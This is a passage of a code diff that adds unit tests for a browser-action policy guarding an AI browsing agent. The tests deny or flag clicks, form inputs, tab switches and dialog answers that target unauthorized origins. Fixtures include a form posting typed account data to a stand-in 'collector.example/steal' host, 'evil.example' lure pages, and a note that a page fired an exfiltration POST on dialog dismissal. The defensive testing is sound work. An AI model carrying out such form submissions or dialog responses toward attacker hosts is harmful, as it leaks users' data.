is PolicyOutcome.DENIED+ assert decision.reasons == (PolicyReason.INCOMPLETE_DESTINATION,)++ def test_a_malformed_resolved_url_denies_as_missing_target_origin(self) -> None:+ # javascript: resolves to a syntactically valid URL with no usable origin.+ weird = ElementDestination(kind=TargetKind.ANCHOR, url="javascript:void(0)")+ decision = decide_browser_action(build_request(ClickAction(element_id="1"), destination=weird))+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.MISSING_TARGET_ORIGIN in decision.reasons++ def test_facts_are_never_authorization(self) -> None:+ # The AC stated as an executable sentence: perfect destination facts change nothing about+ # evidence, verdict or authority. Metadata is preflight input, not final authorization.+ decision = decide_browser_action(+ build_request(+ ClickAction(element_id="1"),+ destination=ANCHOR_HOME,+ authority=UNWIRED_AUTHORITY,+ verdict=ObservationVerdict.UNKNOWN,+ omit_evidence=True,+ )+ )+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.MISSING_PAGE_EVIDENCE in decision.reasons+ assert PolicyReason.UNVERIFIED_OBSERVATION in decision.reasons+ assert PolicyReason.UNWIRED_RUNTIME_AUTHORITY in decision.reasons++ def test_tab_resolution_attaches_a_typed_tab_target(self) -> None:+ projection = with_resolved_target(+ project_for(SwitchTabAction(tab_index=1)),+ ResolvedTarget(kind=TargetKind.TAB, url="https://example.com/other-tab"),+ )+ assert projection.target.resolved == (ResolvedTarget(kind=TargetKind.TAB, url="https://example.com/other-tab"),)+ assert projection.target.complete is True++ def test_an_unresolvable_tab_stays_incomplete(self) -> None:+ projection = with_resolved_target(project_for(SwitchTabAction(tab_index=9)), None)+ assert projection.target.resolved == ()+ assert projection.target.complete is False++ def test_a_defective_projection_never_gains_a_runtime_target(self) -> None:+ # The twin of hydrate_destination's defect guard: a model whose field layout the core just+ # refused to trust must not be handed a target either, let alone marked complete.+ mismatched = SwitchTabAction(tab_index=1, action_type=ActionType.CLICK)+ projection = with_resolved_target(+ project_for(mismatched),+ ResolvedTarget(kind=TargetKind.TAB, url="https://evil.example/x"),+ )+ assert projection.target.resolved == ()+ assert projection.target.complete is False+ assert PolicyReason.ACTION_MODEL_MISMATCH in projection.defects++ def test_a_defective_projection_reads_incomplete_not_complete(self) -> None:+ # An unknowable destination must not read "complete" just because the defect reasons+ # already deny; honesty of the record outlives today's reason set.+ rogue = NullAction()+ rogue.action_type = "teleport" # type: ignore[assignment]+ assert project_for(rogue).target.complete is False+ assert project_for(ClickAction(element_id="1", action_type=ActionType.GOTO_URL)).target.complete is False+++class TestHappyPath:+ def test_clean_authorized_navigation_allows(self) -> None:+ # The only ALLOWED path for a destination-bearing action is a model-declared URL; a+ # hydrated mutating action can never reach ALLOWED (see the forged-safe-fact test).+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME)))assert decision == PolicyDecision(outcome=PolicyOutcome.ALLOWED, reasons=())def test_decisions_are_immutable(self) -> None:@@ -829,7 +1145,7 @@ class TestHappyPath:decision.outcome = PolicyOutcome.DENIED # type: ignore[misc]def test_deciding_twice_yields_an_equal_decision(self) -> None:- request = build_request(ClickAction(element_id="1"))+ request = build_request(ClickAction(element_id="1"), destination=ANCHOR_HOME)assert decide_browser_action(request) == decide_browser_action(request)@@ -882,6 +1198,9 @@ class TestPurity:BrowserActionPolicy,BrowserActionRequest,PolicyDecision,+ ResolvedTarget,+ ElementDestination,+ ObservedElement,):assert dataclasses.is_dataclass(obj)assert obj.__dataclass_params__.frozen is True, obj.__name__diff --git a/tests/unit/test_browser_action_preflight.py b/tests/unit/test_browser_action_preflight.pyindex d1c39adf8..287a10814 100644--- a/tests/unit/test_browser_action_preflight.py+++ b/tests/unit/test_browser_action_preflight.py@@ -24,9 +24,11 @@ from skyvern.forge.sdk.browser_action_policy import (ActionTarget,AuthorityState,BrowserActionRequest,+ ElementDestination,PolicyOutcome,PolicyReason,RuntimeOriginAuthority,+ TargetKind,declare_origin,declare_policy,)@@ -36,6 +38,8 @@ from skyvern.forge.sdk.browser_action_preflight import (preflight_action,preflight_batch,preflight_derived_action,+ preflight_dialog_response,+ record_observed_tabs,stamp_parsed_actions,)from skyvern.forge.sdk.core import skyvern_context@@ -127,8 +131,19 @@ def observing(monkeypatch: pytest.MonkeyPatch):skyvern_context.reset()-def scrape(page: FakePage, context: SkyvernContext, *, hashes: tuple[str, ...] = ("h1", "h2")) -> None:- advance_observation_epoch(page, main_frame_url=page.main_frame.url, element_hashes=hashes)+def scrape(+ page: FakePage,+ context: SkyvernContext,+ *,+ hashes: dict[str, str] | None = None,+ destinations: dict[str, dict] | None = None,+) -> None:+ advance_observation_epoch(+ page,+ main_frame_url=page.main_frame.url,+ element_hashes={"1": "h1", "2": "h2"} if hashes is None else hashes,+ destinations=destinations,+ )class TestObservationEpochs:@@ -143,18 +158,18 @@ class TestObservationEpochs:def test_the_epoch_is_bound_to_the_scraped_element_hashes(self, observing: SkyvernContext) -> None:page = FakePage()- scrape(page, observing, hashes=("h1", "h2"))+ scrape(page, observing, hashes={"1": "h1", "2": "h2"})first = observing.browser_observation_epoch- scrape(page, observing, hashes=("h1", "h3"))+ scrape(page, observing, hashes={"1": "h1", "2": "h3"})second = observing.browser_observation_epochassert first is not None and second is not Noneassert first.element_digest != second.element_digestdef test_hash_order_does_not_change_the_binding(self, observing: SkyvernContext) -> None:page = FakePage()- scrape(page, observing, hashes=("h1", "h2"))+ scrape(page, observing, hashes={"1": "h1", "2": "h2"})first = observing.browser_observation_epoch- scrape(page, observing, hashes=("h2", "h1"))+ scrape(page, observing, hashes={"2": "h2", "1": "h1"})second = observing.browser_observation_epochassert first is not None and second is not Noneassert first.element_digest == second.element_digest@@ -230,6 +245,492 @@ class TestObservationEpochs:assert preflight_action(action_models.ClickAction(element_id="1"), page, site="test") is None+class TestEpochCarriesDestinationFacts:+ """SKY-12875: the accepted scrape's per-element hashes and destination facts ride the epoch,+ parsed into typed records at write time so nothing downstream touches raw page-shaped dicts."""++ def test_the_epoch_records_per_element_hashes_and_typed_facts(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(+ page,+ observing,+ hashes={"e1": "h1"},+ destinations={"e1": {"kind": "anchor", "url": HOME}},+ )+ epoch = observing.browser_observation_epoch+ assert epoch is not None+ assert epoch.element_hashes == {"e1": "h1"}+ assert epoch.destinations == {"e1": ElementDestination(kind=TargetKind.ANCHOR, url=HOME)}++ def test_form_facts_parse_with_method(self, observing: SkyvernContext) -> None:+ scrape(+ FakePage(),+ observing,+ hashes={"e1": "h1"},+ destinations={"e1": {"kind": "form", "url": HOME, "method": "post"}},+ )+ epoch = observing.browser_observation_epoch+ assert epoch is not None+ assert epoch.destinations == {"e1": ElementDestination(kind=TargetKind.FORM, url=HOME, method="post")}++ def test_malformed_page_controlled_facts_degrade_to_factless_not_a_crash(self, observing: SkyvernContext) -> None:+ # A dropped record leaves the element observed-but-factless, which classifies INCOMPLETE —+ # the same fail-closed state as no record. PAGE and TAB are runtime-resolved kinds and must+ # not be forgeable from page-controlled input.+ scrape(+ FakePage(),+ observing,+ hashes={"e1": "h1", "e2": "h2", "e3": "h3", "e4": "h4", "e5": "h5"},+ destinations={+ "e1": "not-a-dict",+ "e2": {"kind": "teleport", "url": HOME},+ "e3": {"kind": "page", "url": HOME},+ "e4": {"kind": "tab", "url": HOME},+ "e5": {"kind": "form", "url": 7, "method": ["x"]},+ 7: {"kind": "anchor", "url": HOME},+ },+ )+ epoch = observing.browser_observation_epoch+ assert epoch is not None+ assert epoch.destinations == {"e5": ElementDestination(kind=TargetKind.FORM, url=None, method=None)}++ def test_an_unhashable_kind_drops_the_record_not_the_epoch(self, observing: SkyvernContext) -> None:+ # A hostile page that could make fact parsing raise would SUPPRESS the epoch advance and+ # with it every later observation. The record dies; the observation must not.+ scrape(+ FakePage(),+ observing,+ hashes={"e1": "h1", "e2": "h2"},+ destinations={"e1": {"kind": ["anchor"], "url": HOME}, "e2": {"kind": "anchor", "url": HOME}},+ )+ epoch = observing.browser_observation_epoch+ assert epoch is not None, "the hostile record suppressed the epoch advance"+ assert set(epoch.destinations) == {"e2"}++ def test_the_scrape_call_site_passes_both_maps(self) -> None:+ # The tests above drive advance_observation_epoch directly; this binds the production call.+ source = ast.parse(Path("skyvern/webeye/scraper/scraper.py").read_text())+ calls = [+ node+ for node in ast.walk(source)+ if isinstance(node, ast.Call)+ and isinstance(node.func, ast.Name)+ and node.func.id == "advance_observation_epoch"+ ]+ assert len(calls) == 1, "expected exactly the accepted-scrape call site"+ keywords = {keyword.arg: ast.unparse(keyword.value) for keyword in calls[0].keywords}+ assert keywords["element_hashes"] == "id_to_element_hash"+ assert keywords["destinations"] == "destinations"+++ANCHOR_HOME_FACTS = {"kind": "anchor", "url": HOME}+++class TestDestinationHydrationWiring:+ """SKY-12875: scrape-time facts reach the decision through the preflight, and only under the+ same digest-provenance the evidence axis uses — facts from a different observation than the+ action's plan are wrong facts, not stale ones."""++ def test_facts_for_the_planned_element_attach_but_never_complete(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing, hashes={"1": "h1"}, destinations={"1": ANCHOR_HOME_FACTS})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ # The fact surfaces as a typed target in the evidence, and the destination still reads+ # INCOMPLETE: a main-world-sourced fact never establishes completeness.+ assert emitted[0]["target_origins"] == ["https://example.com"]+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons+ assert PolicyReason.UNWIRED_RUNTIME_AUTHORITY in decision.reasons++ def test_an_observed_but_destination_opaque_element_reads_incomplete(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing, hashes={"1": "h1"})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ def test_an_unobserved_element_reads_incomplete(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing, hashes={"2": "h2"}, destinations={"2": ANCHOR_HOME_FACTS})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ def test_a_cross_origin_form_fact_surfaces_the_target_origin_denial(self, observing: SkyvernContext) -> None:+ observing.browser_action_authority = ESTABLISHED+ page = FakePage()+ scrape(+ page,+ observing,+ hashes={"1": "h1"},+ destinations={"1": {"kind": "form", "url": "https://collector.example/steal", "method": "post"}},+ )+ action = action_models.InputTextAction(element_id="1", text="account number")+ stamp_parsed_actions([action])+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.TARGET_ORIGIN_NOT_AUTHORIZED in decision.reasons++ def test_facts_from_a_different_observation_are_never_attached(self, observing: SkyvernContext) -> None:+ # The current epoch HAS facts for this element id, but the action was planned under an+ # older observation. Attaching them would describe an element the plan never saw.+ page = FakePage()+ scrape(page, observing, hashes={"1": "h1"})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ scrape(page, observing, hashes={"1": "h1"}, destinations={"1": ANCHOR_HOME_FACTS})+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.STALE_PAGE_EVIDENCE in decision.reasons+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ def test_a_claimed_hash_contradicting_the_observation_is_reported(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing, hashes={"1": "h-live"}, destinations={"1": ANCHOR_HOME_FACTS})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ action.skyvern_element_hash = "h-from-a-previous-run"+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.ELEMENT_HASH_MISMATCH in decision.reasons+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ def test_a_matching_claimed_hash_hydrates(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing, hashes={"1": "h-live"}, destinations={"1": ANCHOR_HOME_FACTS})+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ action.skyvern_element_hash = "h-live"+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.ELEMENT_HASH_MISMATCH not in decision.reasons+ assert emitted[0]["target_origins"] == ["https://example.com"]++ def test_an_element_less_action_with_a_hallucinated_hash_is_untouched(self, observing: SkyvernContext) -> None:+ # parse_actions clears element_id on non-web actions but leaves the hallucinated hash in+ # place; an ungated check would deny every WAIT carrying LLM garbage.+ page = FakePage()+ scrape(page, observing)+ action = action_models.WaitAction()+ stamp_parsed_actions([action])+ action.skyvern_element_hash = "hallucinated"+ decision = preflight_action(action, page, site="test")+ assert decision is not None+ assert PolicyReason.ELEMENT_HASH_MISMATCH not in decision.reasons++ def test_the_decision_event_carries_canonical_target_origins_only(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(+ page,+ observing,+ hashes={"1": "h1"},+ destinations={"1": {"kind": "form", "url": "https://collector.example/x?ssn=123-45-6789"}},+ )+ action = action_models.ClickAction(element_id="1")+ stamp_parsed_actions([action])+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_action(action, page, site="test")+ assert len(emitted) == 1+ assert emitted[0]["target_origins"] == ["https://collector.example"]+ assert "ssn" not in repr(emitted[0])+++class TestObservedTabs:+ """SKY-12875: SwitchTab resolves against the recorded prompt tab list and nothing else. No+ record, an out-of-range index, or a record from another epoch resolves nothing — the answer is+ incomplete, never agreement with live browser state."""++ def test_a_recorded_tab_resolves_to_a_typed_tab_target(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ record_observed_tabs([HOME, "https://example.com/other-tab"])+ action = action_models.SwitchTabAction(tab_index=1)+ stamp_parsed_actions([action])+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_action(action, page, site="test")+ assert len(emitted) == 1+ assert emitted[0]["target_origins"] == ["https://example.com"]++ @pytest.mark.parametrize("tab_index", [-1, 2, 99])+ def test_an_out_of_range_index_resolves_nothing(self, observing: SkyvernContext, tab_index: int) -> None:+ page = FakePage()+ scrape(page, observing)+ record_observed_tabs([HOME, "https://example.com/other-tab"])+ action = action_models.SwitchTabAction(tab_index=tab_index)+ stamp_parsed_actions([action])+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_action(action, page, site="test")+ assert emitted[0]["target_origins"] == []++ def test_a_record_from_another_epoch_resolves_nothing(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ record_observed_tabs([HOME, "https://example.com/other-tab"])+ scrape(page, observing)+ action = action_models.SwitchTabAction(tab_index=1)+ stamp_parsed_actions([action])+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_action(action, page, site="test")+ assert emitted[0]["target_origins"] == []++ def test_recording_without_an_epoch_records_nothing(self, observing: SkyvernContext) -> None:+ record_observed_tabs([HOME])+ assert observing.browser_observed_tabs is None++ def test_recording_is_a_no_op_while_disabled(+ self, observing: SkyvernContext, monkeypatch: pytest.MonkeyPatch+ ) -> None:+ scrape(FakePage(), observing)+ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", "disabled")+ record_observed_tabs([HOME])+ assert observing.browser_observed_tabs is None++ @pytest.mark.asyncio+ async def test_build_open_tabs_context_records_even_for_a_single_tab(self, observing: SkyvernContext) -> None:+ # The <=1 early return must not skip the record: a later SWITCH_TAB judged against a stale+ # record is exactly the mismatch this exists to surface.+ from skyvern.webeye.utils.page import build_open_tabs_context++ page = FakePage()+ scrape(page, observing)+ browser_state = MagicMock()+ browser_state.list_valid_pages = AsyncMock(return_value=[page])+ assert await build_open_tabs_context(browser_state, page) is None+ assert observing.browser_observed_tabs is not None+ assert observing.browser_observed_tabs.urls == (HOME,)+++class TestDialogResponsePreflight:+ """SKY-12875: THE CHOICE IS THE CAPABILITY. Every response a page can branch on is evaluated —+ confirm and prompt accept AND dismiss, beforeunload both ways — because a probe showed a page+ firing an exfil POST specifically on dismissal. Only alert is exempt: one possible response+ means no choice. The caller discards the decision: observe mode never changes what a dialog+ does."""++ def test_confirm_acceptance_on_the_observed_page_is_evaluated(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ decision = preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert decision.outcome is PolicyOutcome.DENIED+ # Page-bound evidence exists; what denies is the unverified content and the empty seam.+ assert PolicyReason.MISSING_PAGE_EVIDENCE not in decision.reasons+ assert PolicyReason.UNVERIFIED_OBSERVATION in decision.reasons+ assert PolicyReason.UNWIRED_RUNTIME_AUTHORITY in decision.reasons++ def test_prompt_acceptance_is_evaluated(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ decision = preflight_dialog_response(page, dialog_type="prompt", response="accept", site="test")+ assert decision is not None+ assert decision.outcome is PolicyOutcome.DENIED++ def test_acceptance_checks_the_exact_page_origin(self, observing: SkyvernContext) -> None:+ observing.browser_action_authority = ESTABLISHED+ page = FakePage(url="https://evil.example/lure")+ scrape(page, observing)+ decision = preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert PolicyReason.PAGE_ORIGIN_NOT_AUTHORIZED in decision.reasons++ def test_acceptance_on_an_unobserved_page_has_no_evidence(self, observing: SkyvernContext) -> None:+ observed, other = FakePage(), FakePage()+ scrape(observed, observing)+ decision = preflight_dialog_response(other, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert PolicyReason.MISSING_PAGE_EVIDENCE in decision.reasons++ def test_navigation_since_the_scrape_voids_the_evidence(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ page.navigate_to("https://example.com/somewhere-else")+ decision = preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert PolicyReason.MISSING_PAGE_EVIDENCE in decision.reasons++ def test_a_registered_page_of_none_has_no_evidence(self, observing: SkyvernContext) -> None:+ scrape(FakePage(), observing)+ decision = preflight_dialog_response(None, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert PolicyReason.MISSING_PAGE_EVIDENCE in decision.reasons++ @pytest.mark.parametrize(+ ("dialog_type", "response"),+ [+ ("confirm", "accept"),+ ("confirm", "dismiss"),+ ("prompt", "accept"),+ ("prompt", "dismiss"),+ ("beforeunload", "accept"),+ ("beforeunload", "dismiss"),+ ],+ )+ def test_every_response_carrying_a_choice_is_evaluated(+ self, observing: SkyvernContext, dialog_type: str, response: str+ ) -> None:+ # THE CHOICE IS THE CAPABILITY: a real-Chromium probe fired an exfil POST specifically on+ # DISMISS, and beforeunload commits a pending navigation one way and cancels it the other.+ # Both branches of a choice therefore evaluate as MUTATING. Beforeunload dismissal is+ # listed even though no listener here produces it: an unlisted pair fails OPEN by silently+ # returning None, so the table covers the capability, not today's callers.+ page = FakePage()+ scrape(page, observing)+ decision = preflight_dialog_response(page, dialog_type=dialog_type, response=response, site="test")+ assert decision is not None+ assert decision.outcome is PolicyOutcome.DENIED++ @pytest.mark.parametrize(+ ("dialog_type", "response"),+ [+ ("alert", "accept"),+ ("alert", "dismiss"),+ ("somethingnew", "accept"),+ ],+ )+ def test_choiceless_or_unknown_responses_are_not_evaluated(+ self, observing: SkyvernContext, dialog_type: str, response: str+ ) -> None:+ # Alert has a single possible response — no choice exists, so answering it decides+ # nothing; its message text is the verdict axis, not a response capability. Probed in real+ # Chromium: a page cannot tell accept from dismiss on an alert.+ page = FakePage()+ scrape(page, observing)+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ assert preflight_dialog_response(page, dialog_type=dialog_type, response=response, site="test") is None+ assert emitted == []++ def test_the_dialog_decision_event_names_the_response(self, observing: SkyvernContext) -> None:+ page = FakePage()+ scrape(page, observing)+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_dialog_response(page, dialog_type="confirm", response="dismiss", site="test")+ assert len(emitted) == 1+ assert emitted[0]["dialog_response"] == "dismiss"++ def test_disabled_mode_evaluates_nothing(self, observing: SkyvernContext, monkeypatch: pytest.MonkeyPatch) -> None:+ page = FakePage()+ scrape(page, observing)+ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", "disabled")+ assert preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test") is None++ def test_no_context_evaluates_nothing(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", "observe")+ skyvern_context.reset()+ assert preflight_dialog_response(FakePage(), dialog_type="confirm", response="accept", site="test") is None++ def test_an_unenrolled_run_emits_nothing(self, observing: SkyvernContext) -> None:+ observing.browser_action_policy = None+ page = FakePage()+ scrape(page, observing)+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ decision = preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test")+ assert decision is not None+ assert decision.outcome is PolicyOutcome.NOT_ENROLLED+ assert emitted == []++ def test_an_internal_fault_never_escapes(self, observing: SkyvernContext) -> None:+ broken = ExplodingPage()+ scrape(broken, observing)+ assert preflight_dialog_response(broken, dialog_type="confirm", response="accept", site="test") is None++ def test_the_dialog_decision_event_carries_the_dialog_type_and_canonical_origin(+ self, observing: SkyvernContext+ ) -> None:+ page = FakePage(url="https://example.com/apply?ssn=123-45-6789")+ scrape(page, observing)+ emitted: list[dict] = []+ with patch.object(preflight.LOG, "info", lambda _event, **kwargs: emitted.append(kwargs)):+ preflight_dialog_response(page, dialog_type="prompt", response="accept", site="test")+ assert len(emitted) == 1+ assert emitted[0]["dialog_type"] == "prompt"+ assert emitted[0]["page_origin"] == declare_origin(HOME).canonical+ assert "ssn" not in repr(emitted[0])+++class TestDialogAcceptBoundary:+ """The tree-wide dialog surface, pinned. skyvern/cli/mcp_tools/inspection.py registers the only+ other dialog listener and it is dismiss-only, which keeps it outside the capability table (a+ dismissal commits nothing and supplies no text). A new accept site anywhere fails here until a+ human decides whether it needs the acceptance preflight."""++ @staticmethod+ def _python_files() -> list[Path]:+ files = [path for root in ("skyvern", "cloud") for path in Path(root).rglob("*.py")]+ assert len(files) > 100, "the sweep found too few files — the scan is broken, not the tree"+ return files++ def test_dialog_accepts_exist_only_in_the_dialog_handler(self) -> None:+ accepting: dict[str, int] = {}+ for path in self._python_files():+ tree = ast.parse(path.read_text())+ count = sum(+ 1+ for node in ast.walk(tree)+ if isinstance(node, ast.Call)+ and isinstance(node.func, ast.Attribute)+ and node.func.attr == "accept"+ and isinstance(node.func.value, ast.Name)+ and node.func.value.id == "dialog"+ )+ if count:+ accepting[str(path)] = count+ # Receiver-name scoped by design: `dialog.accept(...)` written literally. An alias would+ # evade this scan; the behavioural parity tests are the load-bearing assurance.+ # 3 = the alert direct accept + the two accept arms of the _respond choke point.+ assert accepting == {"skyvern/webeye/dialog_handler.py": 3}, accepting++ def test_dialog_listener_registrations_are_pinned(self) -> None:+ registering: list[str] = []+ for path in self._python_files():+ tree = ast.parse(path.read_text())+ for node in ast.walk(tree):+ if (+ isinstance(node, ast.Call)+ and isinstance(node.func, ast.Attribute)+ and node.func.attr == "on"+ and node.args+ and isinstance(node.args[0], ast.Constant)+ and node.args[0].value == "dialog"+ ):+ registering.append(str(path))+ assert sorted(registering) == [+ "skyvern/cli/mcp_tools/inspection.py",+ "skyvern/webeye/dialog_handler.py",+ ], registering++ def test_the_cli_inspection_listener_never_accepts(self) -> None:+ tree = ast.parse(Path("skyvern/cli/mcp_tools/inspection.py").read_text())+ handler = next(+ node+ for node in ast.walk(tree)+ if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name == "_on_dialog"+ )+ calls = {+ node.func.attr+ for node in ast.walk(handler)+ if isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)+ }+ assert "dismiss" in calls, "the auto-dismiss disappeared — re-decide the dialog boundary"+ assert "accept" not in calls, "the CLI inspection handler now ACCEPTS — it needs the acceptance preflight"++class TestTheScrapeAdvancesTheEpoch:"""AC1. Every test above calls ``advance_observation_epoch`` directly, so on their own theyprove the epoch machinery works and nothing about whether a scrape ever reaches it."""@@ -441,6 +942,10 @@ class TestObserveModeIsAPureObserver:"goto","bring_to_front","evaluate",+ # SKY-12875: the dialog preflight OBSERVES a dialog response; answering one is the+ # handler's job, and this module acquiring either verb would make observe behavioural.+ "accept",+ "dismiss",}def test_the_preflight_module_calls_nothing_state_changing(self) -> None:@@ -457,7 +962,7 @@ class TestObserveModeIsAPureObserver:# The reviewer found F1 by behaviour rather than by diff, so this sweeps every site rather# than the one that was wrong.offenders = []- for path in ("skyvern/forge/agent.py", "skyvern/webeye/actions/handler.py"):+ for path in ("skyvern/forge/agent.py", "skyvern/webeye/actions/handler.py", "skyvern/webeye/dialog_handler.py"):tree = ast.parse(Path(path).read_text())for node in ast.walk(tree):if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name):@@ -709,6 +1214,7 @@ class TestInternalFailuresAreVisible:"INTERNAL_ERROR_OUTCOME","'Failed to advance the browser action observation epoch'","'Failed to stamp actions with an observation epoch'",+ "'Failed to record the observed open tabs'","site","[]","[reason.value for reason in decision.reasons]",@@ -717,6 +1223,12 @@ class TestInternalFailuresAreVisible:"action.observation_epoch","None if observation is None else observation.observation_epoch","None if origin is None else origin.canonical",+ # Canonical origins only, computed above the call; the sensitive full URLs never appear.+ "target_origins",+ # The Playwright dialog type: one of alert/beforeunload/confirm/prompt, never page text.+ "dialog_type",+ # Which branch of the choice was taken: "accept" or "dismiss", never page text.+ "response","type(error).__name__","_error_location(error)",}@@ -724,7 +1236,7 @@ class TestInternalFailuresAreVisible:# why it is barred outright rather than checked for a kwarg — swapping warning for exception in# a handler is a one-word edit that reads as harmless.PERMITTED_LOG_METHODS = {"info", "warning"}- LOG_CALL_COUNT = 4+ LOG_CALL_COUNT = 7@staticmethoddef _log_calls() -> list:@@ -1115,10 +1627,14 @@ class TestReprojectionOfDerivedActions:assert action.action_type == ActionType.TERMINATEdef test_every_conversion_site_is_wired_to_the_right_preflight(self) -> None:- wired = _preflight_calls(Path("skyvern/webeye/actions/handler.py")) | _preflight_calls(- Path("skyvern/forge/agent.py")+ wired = (+ _preflight_calls(Path("skyvern/webeye/actions/handler.py"))+ | _preflight_calls(Path("skyvern/forge/agent.py"))+ | _preflight_calls(Path("skyvern/webeye/dialog_handler.py")))assert wired == {+ # Confirm/prompt acceptance, at the one choke point every accept routes through.+ "dialog_handler": "preflight_dialog_response",# Judged as a batch; stamped earlier, at the point it was parsed out of the scrape."step_action_batch": "preflight_batch",# Synthesized by the runtime after a reload. Judged, never stamped — stamping happens@@ -1169,7 +1685,7 @@ class TestObserveModeIsNotBehavioural:monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", "observe")skyvern_context.reset()assert skyvern_context.current() is None- advance_observation_epoch(FakePage(), main_frame_url=HOME, element_hashes=())+ advance_observation_epoch(FakePage(), main_frame_url=HOME, element_hashes={})stamp_parsed_actions([action_models.ClickAction(element_id="1")])def test_decisions_carry_no_page_content(self, observing: SkyvernContext) -> None:diff --git a/tests/unit/test_copilot_completion_verification.py b/tests/unit/test_copilot_completion_verification.pyindex cb9fc2a01..a99f926b4 100644--- a/tests/unit/test_copilot_completion_verification.py+++ b/tests/unit/test_copilot_completion_verification.py@@ -14093,8 +14093,8 @@ async def test_p7_run2_zero_signal_packet_replays_to_typed_abstention() -> None:persisted_criteria = criteria_from_json(criteria_to_json(criteria))assert persisted_criteria[-1].request_slot_id == contract.slots[-1].slot_idassert persisted_criteria[-1].antecedent_family == "blocker"- assert persisted_criteria[-1].requested_output_floor_rekeyed is True- assert persisted_criteria[-1].floor_rekeyed_from_path == fixture["criterion"]["output_path"]+ assert persisted_criteria[-1].requested_output_floor_rekeyed is False+ assert persisted_criteria[-1].output_path == fixture["criterion"]["output_path"]ctx = _run_ctx()_set_workflow_labels(ctx, fixture["registered_output_row"]["block_label"])ctx.request_policy = RequestPolicy(@@ -14963,3 +14963,108 @@ def test_fallback_degraded_criterion_in_structural_unfired_set_still_vetoes() ->assert result.degraded_criterion_ids == [fallback.id]assert result.contingent_degraded_criterion_ids == []assert result.is_fully_satisfied() is False+++def test_value_present_requested_output_presence_is_credited() -> None:+ ctx = _run_ctx()+ ctx.code_artifact_metadata = _metadata_for_requested_paths("star_count")+ criteria = [+ _criterion(+ "c_star_count",+ "The run returns the number of stars.",+ output_path="output.star_count",+ expected_output_shape="value_present",+ )+ ]++ verdicts = grade_requested_output_criteria(+ ctx,+ criteria,+ RunEvidenceSnapshot(+ block_outputs={"extract_profile": {"star_count": 22600}},+ block_output_sources={"extract_profile": "runtime_output"},+ ),+ )++ # value_present is verified by delivery: a present value at the declared path is satisfaction.+ assert verdicts[0].state == "satisfied"+ assert verdicts[0].reason_code == "requested_output_present"+ assert verdicts[0].grounding_mode == "presence"+ assert verdicts[0].self_emitted_judgment_not_independent is False+++def test_pinned_exact_value_contradiction_still_refused() -> None:+ ctx = _run_ctx()+ ctx.code_artifact_metadata = _metadata_for_requested_paths("star_count")+ criteria = [+ _criterion(+ 